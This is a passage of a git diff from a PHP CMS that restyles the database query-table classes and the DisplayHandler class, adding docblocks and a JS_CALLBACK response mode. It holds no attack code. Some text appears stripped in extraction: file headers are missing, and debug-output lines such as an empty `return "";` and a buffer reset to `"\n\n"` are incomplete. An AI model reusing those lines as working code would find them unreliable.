+ var $alias; - /** - * Return index hint string - * @return string - */ - function getIndexHintString(){ - $result = ''; + /** + * index hint list + * @var array + */ + var $index_hints_list; - // Retrieve table prefix, to add it to index name - $db_info = Context::getDBInfo(); - $prefix = $db_info->master_db["db_table_prefix"]; - - foreach($this->index_hints_list as $index_hint){ - $index_hint_type = $index_hint->getIndexHintType(); - if($index_hint_type !== 'IGNORE'){ - $result .= $this->alias . '.' - . '"' . $prefix . substr($index_hint->getIndexName(), 1) - . ($index_hint_type == 'FORCE' ? '(+)' : '') - . ', '; - } - - } - $result = substr($result, 0, -2); - return $result; - } + /** + * constructor + * @param string $name + * @param string $alias + * @param array $index_hints_list + * @return void + */ + function CubridTableWithHint($name, $alias = NULL, $index_hints_list) + { + parent::Table($name, $alias); + $this->index_hints_list = $index_hints_list; } -?> + /** + * Return index hint string + * @return string + */ + function getIndexHintString() + { + $result = ''; + + // Retrieve table prefix, to add it to index name + $db_info = Context::getDBInfo(); + $prefix = $db_info->master_db["db_table_prefix"]; + + foreach($this->index_hints_list as $index_hint) + { + $index_hint_type = $index_hint->getIndexHintType(); + if($index_hint_type !== 'IGNORE') + { + $result .= $this->alias . '.' + . '"' . $prefix . substr($index_hint->getIndexName(), 1) + . ($index_hint_type == 'FORCE' ? '(+)' : '') + . ', '; + } + } + $result = substr($result, 0, -2); + return $result; + } + +} +/* End of file CubridTableWithHint.class.php */ +/* Location: ./classes/db/queryparts/table/CubridTableWithHint.class.php */ diff --git a/classes/db/queryparts/table/IndexHint.class.php b/classes/db/queryparts/table/IndexHint.class.php index 20e41f009..1772c7cda 100644 --- a/classes/db/queryparts/table/IndexHint.class.php +++ b/classes/db/queryparts/table/IndexHint.class.php @@ -1,39 +1,47 @@ index_name = $index_name; - $this->index_hint_type = $index_hint_type; - } + /** + * index hint type, ex) IGNORE, FORCE, USE... + * @var string + */ + var $index_hint_type; - function getIndexName(){ - return $this->index_name; - } - - function getIndexHintType() { - return $this->index_hint_type; - } + /** + * constructor + * @param string $index_name + * @param string $index_hint_type + * @return void + */ + function IndexHint($index_name, $index_hint_type) + { + $this->index_name = $index_name; + $this->index_hint_type = $index_hint_type; } -?> + function getIndexName() + { + return $this->index_name; + } + + function getIndexHintType() + { + return $this->index_hint_type; + } + +} +/* End of file IndexHint.class.php */ +/* Location: ./classes/db/queryparts/table/IndexHint.class.php */ diff --git a/classes/db/queryparts/table/JoinTable.class.php b/classes/db/queryparts/table/JoinTable.class.php index 16818792f..da5f951ca 100644 --- a/classes/db/queryparts/table/JoinTable.class.php +++ b/classes/db/queryparts/table/JoinTable.class.php @@ -1,59 +1,70 @@ -join_type = $join_type; - $this->conditions = $conditions; - } - - function toString($with_value = true){ - $part = $this->join_type . ' ' . $this->name ; - $part .= $this->alias ? ' as ' . $this->alias : ''; - $part .= ' on '; - foreach($this->conditions as $conditionGroup) - $part .= $conditionGroup->toString($with_value); - return $part; - } - - function isJoinTable(){ - return true; - } - - function getArguments() - { - $args = array(); - foreach($this->conditions as $conditionGroup) - $args = array_merge($args, $conditionGroup->getArguments()); - return $args; - } - + var $join_type; + + /** + * condition list + * @var array + */ + var $conditions; + + /** + * constructor + * @param string $name + * @param string $alias + * @param string $join_type + * @param array $conditions + * @return void + */ + function JoinTable($name, $alias, $join_type, $conditions) + { + parent::Table($name, $alias); + $this->join_type = $join_type; + $this->conditions = $conditions; } -?> + function toString($with_value = true) + { + $part = $this->join_type . ' ' . $this->name; + $part .= $this->alias ? ' as ' . $this->alias : ''; + $part .= ' on '; + foreach($this->conditions as $conditionGroup) + { + $part .= $conditionGroup->toString($with_value); + } + return $part; + } + + function isJoinTable() + { + return true; + } + + function getArguments() + { + $args = array(); + foreach($this->conditions as $conditionGroup) + { + $args = array_merge($args, $conditionGroup->getArguments()); + } + return $args; + } + +} +/* End of file JoinTable.class.php */ +/* Location: ./classes/db/queryparts/table/JoinTable.class.php */ diff --git a/classes/db/queryparts/table/MssqlTableWithHint.class.php b/classes/db/queryparts/table/MssqlTableWithHint.class.php index 077456133..f33ba136f 100644 --- a/classes/db/queryparts/table/MssqlTableWithHint.class.php +++ b/classes/db/queryparts/table/MssqlTableWithHint.class.php @@ -1,53 +1,65 @@ index_hints_list = $index_hints_list; - } + /** + * table alias + * @var string + */ + var $alias; - function toString(){ - $result = parent::toString(); + /** + * index hint type, ex) IGNORE, FORCE, USE... + * @var array + */ + var $index_hints_list; - $index_hint_string = ''; - $indexTypeList = array('USE'=>1, 'FORCE'=>1); - foreach($this->index_hints_list as $index_hint){ - $index_hint_type = $index_hint->getIndexHintType(); - if(isset($indexTypeList[$index_hint_type])) - $index_hint_string .= 'INDEX(' . $index_hint->getIndexName() . '), '; - } - if($index_hint_string != ''){ - $result .= ' WITH(' . substr($index_hint_string, 0, -2) . ') '; - } - return $result; - } + /** + * constructor + * @param string $name + * @param string $alias + * @param string $index_hints_list + * @return void + */ + function MssqlTableWithHint($name, $alias = NULL, $index_hints_list) + { + parent::Table($name, $alias); + $this->index_hints_list = $index_hints_list; } -?> + function toString() + { + $result = parent::toString(); + + $index_hint_string = ''; + $indexTypeList = array('USE' => 1, 'FORCE' => 1); + foreach($this->index_hints_list as $index_hint) + { + $index_hint_type = $index_hint->getIndexHintType(); + if(isset($indexTypeList[$index_hint_type])) + { + $index_hint_string .= 'INDEX(' . $index_hint->getIndexName() . '), '; + } + } + if($index_hint_string != '') + { + $result .= ' WITH(' . substr($index_hint_string, 0, -2) . ') '; + } + return $result; + } + +} +/* End of file MssqlTableWithHint.class.php */ +/* Location: ./classes/db/queryparts/table/MssqlTableWithHint.class.php */ diff --git a/classes/db/queryparts/table/MysqlTableWithHint.class.php b/classes/db/queryparts/table/MysqlTableWithHint.class.php index 39c8c32b7..24ff7c51a 100644 --- a/classes/db/queryparts/table/MysqlTableWithHint.class.php +++ b/classes/db/queryparts/table/MysqlTableWithHint.class.php @@ -1,59 +1,82 @@ index_hints_list = $index_hints_list; - } + /** + * table alias + * @var string + */ + var $alias; - function toString(){ - $result = parent::toString(); + /** + * index hint type, ex) IGNORE, FORCE, USE... + * @var array + */ + var $index_hints_list; - $use_index_hint = ''; $force_index_hint = ''; $ignore_index_hint = ''; - foreach($this->index_hints_list as $index_hint){ - $index_hint_type = $index_hint->getIndexHintType(); - if($index_hint_type == 'USE') $use_index_hint .= $index_hint->getIndexName() . ', '; - else if($index_hint_type == 'FORCE') $force_index_hint .= $index_hint->getIndexName() . ', '; - else if($index_hint_type == 'IGNORE') $ignore_index_hint .= $index_hint->getIndexName() . ', '; - } - if($use_index_hint != ''){ - $result .= ' USE INDEX (' . substr($use_index_hint, 0, -2) . ') '; - } - if($force_index_hint != ''){ - $result .= ' FORCE INDEX (' . substr($force_index_hint, 0, -2) . ') '; - } - if($ignore_index_hint != ''){ - $result .= ' IGNORE INDEX (' . substr($ignore_index_hint, 0, -2) . ') '; - } - return $result; - } + /** + * constructor + * @param string $name + * @param string $alias + * @param string $index_hints_list + * @return void + */ + function MysqlTableWithHint($name, $alias = NULL, $index_hints_list) + { + parent::Table($name, $alias); + $this->index_hints_list = $index_hints_list; } -?> + function toString() + { + $result = parent::toString(); + + $use_index_hint = ''; + $force_index_hint = ''; + $ignore_index_hint = ''; + foreach($this->index_hints_list as $index_hint) + { + $index_hint_type = $index_hint->getIndexHintType(); + if($index_hint_type == 'USE') + { + $use_index_hint .= $index_hint->getIndexName() . ', '; + } + else if($index_hint_type == 'FORCE') + { + $force_index_hint .= $index_hint->getIndexName() . ', '; + } + else if($index_hint_type == 'IGNORE') + { + $ignore_index_hint .= $index_hint->getIndexName() . ', '; + } + } + if($use_index_hint != '') + { + $result .= ' USE INDEX (' . substr($use_index_hint, 0, -2) . ') '; + } + if($force_index_hint != '') + { + $result .= ' FORCE INDEX (' . substr($force_index_hint, 0, -2) . ') '; + } + if($ignore_index_hint != '') + { + $result .= ' IGNORE INDEX (' . substr($ignore_index_hint, 0, -2) . ') '; + } + return $result; + } + +} +/* End of file MysqlTableWithHint.class.php */ +/* Location: ./classes/db/queryparts/table/MysqlTableWithHint.class.php */ diff --git a/classes/db/queryparts/table/Table.class.php b/classes/db/queryparts/table/Table.class.php index 6092e10c7..05a3e084f 100644 --- a/classes/db/queryparts/table/Table.class.php +++ b/classes/db/queryparts/table/Table.class.php @@ -1,48 +1,58 @@ -name = $name; - $this->alias = $alias; - } - - function toString(){ - //return $this->name; - return sprintf("%s%s", $this->name, $this->alias ? ' as ' . $this->alias : ''); - } - - function getName(){ - return $this->name; - } - - function getAlias(){ - return $this->alias; - } - - function isJoinTable(){ - return false; - } + var $name; + + /** + * table alias + * @var string + */ + var $alias; + + /** + * constructor + * @param string $name + * @param string $alias + * @return void + */ + function Table($name, $alias = NULL) + { + $this->name = $name; + $this->alias = $alias; } -?> + function toString() + { + //return $this->name; + return sprintf("%s%s", $this->name, $this->alias ? ' as ' . $this->alias : ''); + } + + function getName() + { + return $this->name; + } + + function getAlias() + { + return $this->alias; + } + + function isJoinTable() + { + return false; + } + +} +/* End of file Table.class.php */ +/* Location: ./classes/db/queryparts/table/Table.class.php */ diff --git a/classes/display/DisplayHandler.class.php b/classes/display/DisplayHandler.class.php index d20acdfd6..7ace35e0c 100644 --- a/classes/display/DisplayHandler.class.php +++ b/classes/display/DisplayHandler.class.php @@ -1,276 +1,364 @@ gzhandler_enable - ) $this->gz_enabled = true; - // Extract contents to display by the request method - if(Context::get('xeVirtualRequestMethod')=='xml') { - require_once("./classes/display/VirtualXMLDisplayHandler.php"); - $handler = new VirtualXMLDisplayHandler(); - } - else if(Context::getRequestMethod() == 'XMLRPC') { - require_once("./classes/display/XMLDisplayHandler.php"); - $handler = new XMLDisplayHandler(); - if(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) $this->gz_enabled = false; - } - else if(Context::getRequestMethod() == 'JSON') { - require_once("./classes/display/JSONDisplayHandler.php"); - $handler = new JSONDisplayHandler(); - } - else { - require_once("./classes/display/HTMLDisplayHandler.php"); - $handler = new HTMLDisplayHandler(); - } + ) + { + $this->gz_enabled = TRUE; + } - $output = $handler->toDoc($oModule); - // call a trigger before display - ModuleHandler::triggerCall('display', 'before', $output); - // execute add-on - $called_position = 'before_display_content'; - $oAddonController = &getController('addon'); - $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone()?"mobile":"pc"); - @include($addon_file); + // Extract contents to display by the request method + if(Context::get('xeVirtualRequestMethod') == 'xml') + { + require_once("./classes/display/VirtualXMLDisplayHandler.php"); + $handler = new VirtualXMLDisplayHandler(); + } + else if(Context::getRequestMethod() == 'XMLRPC') + { + require_once("./classes/display/XMLDisplayHandler.php"); + $handler = new XMLDisplayHandler(); + if(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) + { + $this->gz_enabled = FALSE; + } + } + else if(Context::getRequestMethod() == 'JSON') + { + require_once("./classes/display/JSONDisplayHandler.php"); + $handler = new JSONDisplayHandler(); + } + else if(Context::getRequestMethod() == 'JS_CALLBACK') + { + require_once("./classes/display/JSCallbackDisplayHandler.php"); + $handler = new JSCallbackDisplayHandler(); + } + else + { + require_once("./classes/display/HTMLDisplayHandler.php"); + $handler = new HTMLDisplayHandler(); + } - if(method_exists($handler, "prepareToPrint")) $handler->prepareToPrint($output); - // header output - if($this->gz_enabled) header("Content-Encoding: gzip"); + $output = $handler->toDoc($oModule); - $httpStatusCode = $oModule->getHttpStatusCode(); - if($httpStatusCode && $httpStatusCode != 200) $this->_printHttpStatusCode($httpStatusCode); + // call a trigger before display + ModuleHandler::triggerCall('display', 'before', $output); + + // execute add-on + $called_position = 'before_display_content'; + $oAddonController = &getController('addon'); + $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone() ? "mobile" : "pc"); + @include($addon_file); + + if(method_exists($handler, "prepareToPrint")) + { + $handler->prepareToPrint($output); + } + // header output + if($this->gz_enabled) + { + header("Content-Encoding: gzip"); + } + + $httpStatusCode = $oModule->getHttpStatusCode(); + if($httpStatusCode && $httpStatusCode != 200) + { + $this->_printHttpStatusCode($httpStatusCode); + } + else + { + if(Context::getResponseMethod() == 'JSON' || Context::getResponseMethod() == 'JS_CALLBACK') + { + $this->_printJSONHeader(); + } + else if(Context::getResponseMethod() != 'HTML') + { + $this->_printXMLHeader(); + } else { - if(Context::getResponseMethod() == 'JSON') $this->_printJSONHeader(); - else if(Context::getResponseMethod() != 'HTML') $this->_printXMLHeader(); - else $this->_printHTMLHeader(); + $this->_printHTMLHeader(); + } + } + + // debugOutput output + $this->content_size = strlen($output); + $output .= $this->_debugOutput(); + + // results directly output + if($this->gz_enabled) + { + print ob_gzhandler($output, 5); + } + else + { + print $output; + } + + // call a trigger after display + ModuleHandler::triggerCall('display', 'after', $content); + } + + /** + * Print debugging message to designated output source depending on the value set to __DEBUG_OUTPUT_. \n + * This method only functions when __DEBUG__ variable is set to 1. + * __DEBUG_OUTPUT__ == 0, messages are written in ./files/_debug_message.php + * @return void + */ + function _debugOutput() + { + if(!__DEBUG__) + { + return; + } + + $end = getMicroTime(); + + // Firebug console output + if(__DEBUG_OUTPUT__ == 2 && version_compare(PHP_VERSION, '6.0.0') === -1) + { + static $firephp; + if(!isset($firephp)) + { + $firephp = FirePHP::getInstance(true); } - // debugOutput output - $this->content_size = strlen($output); - $output .= $this->_debugOutput(); - // results directly output - if($this->gz_enabled) print ob_gzhandler($output, 5); - else print $output; - // call a trigger after display - ModuleHandler::triggerCall('display', 'after', $content); - } + if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) + { + $firephp->fb('Change the value of __DEBUG_PROTECT_IP__ into your IP address in config/config.user.inc.php or config/config.inc.php', 'The IP address is not allowed.'); + return; + } + // display total execution time and Request/Response info + if(__DEBUG__ & 2) + { + $firephp->fb( + array( + 'Request / Response info >>> ' . $_SERVER['REQUEST_METHOD'] . ' / ' . Context::getResponseMethod(), + array( + array('Request URI', 'Request method', 'Response method', 'Response contents size'), + array( + sprintf("%s:%s%s%s%s", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'], $_SERVER['PHP_SELF'], $_SERVER['QUERY_STRING'] ? '?' : '', $_SERVER['QUERY_STRING']), + $_SERVER['REQUEST_METHOD'], + Context::getResponseMethod(), + $this->content_size . ' byte' + ) + ) + ), + 'TABLE' + ); + $firephp->fb( + array( + 'Elapsed time >>> Total : ' . sprintf('%0.5f sec', $end - __StartTime__), + array(array('DB queries', 'class file load', 'Template compile', 'XmlParse compile', 'PHP', 'Widgets', 'Trans Content'), + array( + sprintf('%0.5f sec', $GLOBALS['__db_elapsed_time__']), + sprintf('%0.5f sec', $GLOBALS['__elapsed_class_load__']), + sprintf('%0.5f sec (%d called)', $GLOBALS['__template_elapsed__'], $GLOBALS['__TemplateHandlerCalled__']), + sprintf('%0.5f sec', $GLOBALS['__xmlparse_elapsed__']), + sprintf('%0.5f sec', $end - __StartTime__ - $GLOBALS['__template_elapsed__'] - $GLOBALS['__xmlparse_elapsed__'] - $GLOBALS['__db_elapsed_time__'] - $GLOBALS['__elapsed_class_load__']), + sprintf('%0.5f sec', $GLOBALS['__widget_excute_elapsed__']), + sprintf('%0.5f sec', $GLOBALS['__trans_content_elapsed__']) + ) + ) + ), + 'TABLE' + ); + } - - /** - * Print debugging message to designated output source depending on the value set to __DEBUG_OUTPUT_. \n - * This method only functions when __DEBUG__ variable is set to 1. - * __DEBUG_OUTPUT__ == 0, messages are written in ./files/_debug_message.php - * @return void - **/ - function _debugOutput() { - if(!__DEBUG__) return; - - $end = getMicroTime(); - // Firebug console output - if(__DEBUG_OUTPUT__ == 2 && version_compare(PHP_VERSION, '6.0.0') === -1) { - static $firephp; - if(!isset($firephp)) $firephp = FirePHP::getInstance(true); - - if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) { - $firephp->fb('Change the value of __DEBUG_PROTECT_IP__ into your IP address in config/config.user.inc.php or config/config.inc.php', 'The IP address is not allowed.'); - return; - } - // display total execution time and Request/Response info - if(__DEBUG__ & 2) { - $firephp->fb( - array('Request / Response info >>> '.$_SERVER['REQUEST_METHOD'].' / '.Context::getResponseMethod(), - array( - array('Request URI', 'Request method', 'Response method', 'Response contents size'), - array( - sprintf("%s:%s%s%s%s", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'], $_SERVER['PHP_SELF'], $_SERVER['QUERY_STRING']?'?':'', $_SERVER['QUERY_STRING']), - $_SERVER['REQUEST_METHOD'], - Context::getResponseMethod(), - $this->content_size.' byte' - ) - ) - ), - 'TABLE' - ); - $firephp->fb( - array('Elapsed time >>> Total : '.sprintf('%0.5f sec', $end - __StartTime__), - array(array('DB queries', 'class file load', 'Template compile', 'XmlParse compile', 'PHP', 'Widgets', 'Trans Content'), - array( - sprintf('%0.5f sec', $GLOBALS['__db_elapsed_time__']), - sprintf('%0.5f sec', $GLOBALS['__elapsed_class_load__']), - sprintf('%0.5f sec (%d called)', $GLOBALS['__template_elapsed__'], $GLOBALS['__TemplateHandlerCalled__']), - sprintf('%0.5f sec', $GLOBALS['__xmlparse_elapsed__']), - sprintf('%0.5f sec', $end-__StartTime__-$GLOBALS['__template_elapsed__']-$GLOBALS['__xmlparse_elapsed__']-$GLOBALS['__db_elapsed_time__']-$GLOBALS['__elapsed_class_load__']), - sprintf('%0.5f sec', $GLOBALS['__widget_excute_elapsed__']), - sprintf('%0.5f sec', $GLOBALS['__trans_content_elapsed__']) - ) - ) - ), - 'TABLE' - ); - } - // display DB query history - if((__DEBUG__ & 4) && $GLOBALS['__db_queries__']) { - $queries_output = array(array('Query', 'Elapsed time', 'Result')); - foreach($GLOBALS['__db_queries__'] as $query) { - array_push($queries_output, array($query['query'], sprintf('%0.5f', $query['elapsed_time']), $query['result'])); - } - $firephp->fb( - array( - 'DB Queries >>> '.count($GLOBALS['__db_queries__']).' Queries, '.sprintf('%0.5f sec', $GLOBALS['__db_elapsed_time__']), - $queries_output - ), - 'TABLE' - ); - } - // dislpay the file and HTML comments - } else { - // display total execution time and Request/Response info - if(__DEBUG__ & 2) { - if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) { - return; - } - // Request/Response information - $buff .= "\n- Request/ Response info\n"; - $buff .= sprintf("\tRequest URI \t\t\t: %s:%s%s%s%s\n", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'], $_SERVER['PHP_SELF'], $_SERVER['QUERY_STRING']?'?':'', $_SERVER['QUERY_STRING']); - $buff .= sprintf("\tRequest method \t\t\t: %s\n", $_SERVER['REQUEST_METHOD']); - $buff .= sprintf("\tResponse method \t\t: %s\n", Context::getResponseMethod()); - $buff .= sprintf("\tResponse contents size\t\t: %d byte\n", $this->content_size); - // total execution time - $buff .= sprintf("\n- Total elapsed time : %0.5f sec\n", $end-__StartTime__); - - $buff .= sprintf("\tclass file load elapsed time \t: %0.5f sec\n", $GLOBALS['__elapsed_class_load__']); - $buff .= sprintf("\tTemplate compile elapsed time\t: %0.5f sec (%d called)\n", $GLOBALS['__template_elapsed__'], $GLOBALS['__TemplateHandlerCalled__']); - $buff .= sprintf("\tXmlParse compile elapsed time\t: %0.5f sec\n", $GLOBALS['__xmlparse_elapsed__']); - $buff .= sprintf("\tPHP elapsed time \t\t: %0.5f sec\n", $end-__StartTime__-$GLOBALS['__template_elapsed__']-$GLOBALS['__xmlparse_elapsed__']-$GLOBALS['__db_elapsed_time__']-$GLOBALS['__elapsed_class_load__']); - $buff .= sprintf("\tDB class elapsed time \t\t: %0.5f sec\n", $GLOBALS['__dbclass_elapsed_time__'] -$GLOBALS['__db_elapsed_time__']); - // widget execution time - $buff .= sprintf("\n\tWidgets elapsed time \t\t: %0.5f sec", $GLOBALS['__widget_excute_elapsed__']); - // layout execution time - $buff .= sprintf("\n\tLayout compile elapsed time \t: %0.5f sec", $GLOBALS['__layout_compile_elapsed__']); - // Widgets, the editor component replacement time - $buff .= sprintf("\n\tTrans Content \t\t\t: %0.5f sec\n", $GLOBALS['__trans_content_elapsed__']); - } - // DB Logging - if(__DEBUG__ & 4) { - if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) { - return; - } - - if($GLOBALS['__db_queries__']) { - $buff .= sprintf("\n- DB Queries : %d Queries. %0.5f sec\n", count($GLOBALS['__db_queries__']), $GLOBALS['__db_elapsed_time__']); - $num = 0; - - foreach($GLOBALS['__db_queries__'] as $query) { - $buff .= sprintf("\t%02d. %s\n\t\t%0.6f sec. ", ++$num, $query['query'], $query['elapsed_time']); - if($query['result'] == 'Success') { - $buff .= "Query Success\n"; - } else { - $buff .= sprintf("Query $s : %d\n\t\t\t %s\n", $query['result'], $query['errno'], $query['errstr']); - } - $buff .= sprintf("\t\tConnection: %s\n", $query['connection']); - } - } - } - // Output in HTML comments - if($buff && __DEBUG_OUTPUT__ == 1 && Context::getResponseMethod() == 'HTML') { - $buff = sprintf("[%s %s:%d]\n%s\n", date('Y-m-d H:i:s'), $file_name, $line_num, print_r($buff, true)); - - if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) { - $buff = 'The IP address is not allowed. Change the value of __DEBUG_PROTECT_IP__ into your IP address in config/config.user.inc.php or config/config.inc.php'; - } - - return ""; - } - // Output to a file - if($buff && __DEBUG_OUTPUT__ == 0) { - $debug_file = _XE_PATH_.'files/_debug_message.php'; - $buff = sprintf("[%s %s:%d]\n%s\n", date('Y-m-d H:i:s'), $file_name, $line_num, print_r($buff, true)); - - $buff = str_repeat('=', 40)."\n".$buff.str_repeat('-', 40); - $buff = "\n\n"; - - if(@!$fp = fopen($debug_file, 'a')) return; - fwrite($fp, $buff); - fclose($fp); - } - } - } - - /** - * print a HTTP HEADER for XML, which is encoded in UTF-8 - * @return void - **/ - function _printXMLHeader() { - header("Content-Type: text/xml; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); + // display DB query history + if((__DEBUG__ & 4) && $GLOBALS['__db_queries__']) + { + $queries_output = array(array('Query', 'Elapsed time', 'Result')); + foreach($GLOBALS['__db_queries__'] as $query) + { + array_push($queries_output, array($query['query'], sprintf('%0.5f', $query['elapsed_time']), $query['result'])); + } + $firephp->fb( + array( + 'DB Queries >>> ' . count($GLOBALS['__db_queries__']) . ' Queries, ' . sprintf('%0.5f sec', $GLOBALS['__db_elapsed_time__']), + $queries_output + ), + 'TABLE' + ); + } + // dislpay the file and HTML comments } + else + { + // display total execution time and Request/Response info + if(__DEBUG__ & 2) + { + if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) + { + return; + } + // Request/Response information + $buff .= "\n- Request/ Response info\n"; + $buff .= sprintf("\tRequest URI \t\t\t: %s:%s%s%s%s\n", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'], $_SERVER['PHP_SELF'], $_SERVER['QUERY_STRING'] ? '?' : '', $_SERVER['QUERY_STRING']); + $buff .= sprintf("\tRequest method \t\t\t: %s\n", $_SERVER['REQUEST_METHOD']); + $buff .= sprintf("\tResponse method \t\t: %s\n", Context::getResponseMethod()); + $buff .= sprintf("\tResponse contents size\t\t: %d byte\n", $this->content_size); - /** - * print a HTTP HEADER for HTML, which is encoded in UTF-8 - * @return void - **/ - function _printHTMLHeader() { - header("Content-Type: text/html; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); + // total execution time + $buff .= sprintf("\n- Total elapsed time : %0.5f sec\n", $end - __StartTime__); + + $buff .= sprintf("\tclass file load elapsed time \t: %0.5f sec\n", $GLOBALS['__elapsed_class_load__']); + $buff .= sprintf("\tTemplate compile elapsed time\t: %0.5f sec (%d called)\n", $GLOBALS['__template_elapsed__'], $GLOBALS['__TemplateHandlerCalled__']); + $buff .= sprintf("\tXmlParse compile elapsed time\t: %0.5f sec\n", $GLOBALS['__xmlparse_elapsed__']); + $buff .= sprintf("\tPHP elapsed time \t\t: %0.5f sec\n", $end - __StartTime__ - $GLOBALS['__template_elapsed__'] - $GLOBALS['__xmlparse_elapsed__'] - $GLOBALS['__db_elapsed_time__'] - $GLOBALS['__elapsed_class_load__']); + $buff .= sprintf("\tDB class elapsed time \t\t: %0.5f sec\n", $GLOBALS['__dbclass_elapsed_time__'] - $GLOBALS['__db_elapsed_time__']); + + // widget execution time + $buff .= sprintf("\n\tWidgets elapsed time \t\t: %0.5f sec", $GLOBALS['__widget_excute_elapsed__']); + + // layout execution time + $buff .= sprintf("\n\tLayout compile elapsed time \t: %0.5f sec", $GLOBALS['__layout_compile_elapsed__']); + + // Widgets, the editor component replacement time + $buff .= sprintf("\n\tTrans Content \t\t\t: %0.5f sec\n", $GLOBALS['__trans_content_elapsed__']); + } + // DB Logging + if(__DEBUG__ & 4) + { + if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) + { + return; + } + + if($GLOBALS['__db_queries__']) + { + $buff .= sprintf("\n- DB Queries : %d Queries. %0.5f sec\n", count($GLOBALS['__db_queries__']), $GLOBALS['__db_elapsed_time__']); + $num = 0; + + foreach($GLOBALS['__db_queries__'] as $query) + { + $buff .= sprintf("\t%02d. %s\n\t\t%0.6f sec. ", ++$num, $query['query'], $query['elapsed_time']); + if($query['result'] == 'Success') + { + $buff .= "Query Success\n"; + } + else + { + $buff .= sprintf("Query $s : %d\n\t\t\t %s\n", $query['result'], $query['errno'], $query['errstr']); + } + $buff .= sprintf("\t\tConnection: %s\n", $query['connection']); + } + } + } + + // Output in HTML comments + if($buff && __DEBUG_OUTPUT__ == 1 && Context::getResponseMethod() == 'HTML') + { + $buff = sprintf("[%s %s:%d]\n%s\n", date('Y-m-d H:i:s'), $file_name, $line_num, print_r($buff, true)); + + if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) + { + $buff = 'The IP address is not allowed. Change the value of __DEBUG_PROTECT_IP__ into your IP address in config/config.user.inc.php or config/config.inc.php'; + } + + return ""; + } + + // Output to a file + if($buff && __DEBUG_OUTPUT__ == 0) + { + $debug_file = _XE_PATH_ . 'files/_debug_message.php'; + $buff = sprintf("[%s %s:%d]\n%s\n", date('Y-m-d H:i:s'), $file_name, $line_num, print_r($buff, true)); + + $buff = str_repeat('=', 40) . "\n" . $buff . str_repeat('-', 40); + $buff = "\n\n"; + + if(@!$fp = fopen($debug_file, 'a')) + { + return; + } + + fwrite($fp, $buff); + fclose($fp); + } } + } + /** + * print a HTTP HEADER for XML, which is encoded in UTF-8 + * @return void + */ + function _printXMLHeader() + { + header("Content-Type: text/xml; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + } - /** - * print a HTTP HEADER for JSON, which is encoded in UTF-8 - * @return void - **/ - function _printJSONHeader() { - header("Content-Type: text/html; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); - } + /** + * print a HTTP HEADER for HTML, which is encoded in UTF-8 + * @return void + */ + function _printHTMLHeader() + { + header("Content-Type: text/html; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + } + /** + * print a HTTP HEADER for JSON, which is encoded in UTF-8 + * @return void + */ + function _printJSONHeader() + { + header("Content-Type: text/html; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + } - /** - * print a HTTP HEADER for HTML, which is encoded in UTF-8 - * @return void - **/ - function _printHttpStatusCode($code) { - $statusMessage = Context::get('http_status_message'); - header("HTTP/1.0 $code $statusMessage"); - } - } -?> + /** + * print a HTTP HEADER for HTML, which is encoded in UTF-8 + * @return void + */ + function _printHttpStatusCode($code) + { + $statusMessage = Context::get('http_status_message'); + header("HTTP/1.0 $code $statusMessage"); + } + +} +/* End of file DisplayHandler.class.php */ +/* Location: ./classes/display/DisplayHandler.class.php */ diff --git a/classes/display/HTMLDisplayHandler.php b/classes/display/HTMLDisplayHandler.php index 02fab5eff..d5c0b0942 100644 --- a/classes/display/HTMLDisplayHandler.php +++ b/classes/display/HTMLDisplayHandler.php @@ -1,48 +1,54 @@ getTemplatePath(); if(!is_dir($template_path)) { - if ($oModule->module_info->module == $oModule->module) - $skin = $oModule->origin_module_info->skin; - else - $skin = $oModule->module_config->skin; - - 